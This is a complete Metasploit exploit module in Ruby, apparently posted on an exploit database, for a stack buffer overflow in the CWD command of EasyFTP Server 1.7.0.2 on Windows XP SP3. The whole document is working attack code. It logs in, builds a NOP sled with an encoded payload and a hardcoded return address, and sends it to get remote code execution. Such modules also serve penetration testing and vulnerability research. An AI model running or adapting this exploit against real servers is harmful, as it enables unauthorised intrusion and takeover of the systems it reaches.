EasyFTP Server 1.7.0.2 – CWD Remote Buffer Overflow (Metasploit)
# Exploit Title: Easy~FTP # Date: March 9, 2010 # Author: Blake # Version: 1.7.0.2 # Tested on: Windows XP SP3 # CVE : require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Easy~FTP Server v1.7.0.2 CWD Command Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in the CWD verb in Easy~FTP Server. You must have valid credentials to trigger this vulnerability. }, 'Author' => 'Blake', 'License' => MSF_LICENSE, 'Version' => 'version 1', 'References' => [ [ 'CVE', ''], [ 'OSVDB', ''], [ 'EDB-ID', '11539'], [ 'URL', 'http://www.exploit-db.com/exploits/11539' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 268, 'BadChars' => "\x00\x20\x0a\x0d\x2f\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 English', { 'Ret' => 0x009AFD58 } ], ], 'DisclosureDate' => 'February 15, 2010', 'DefaultTarget' => 0)) end def exploit connect_login sploit = "\x90" * (268 - payload.encoded.length) sploit << payload.encoded sploit << [target.ret].pack('V') print_status("Trying target #{target.name<http://target.name>}...") send_cmd( ['CWD', sploit] , false) handler disconnect end end |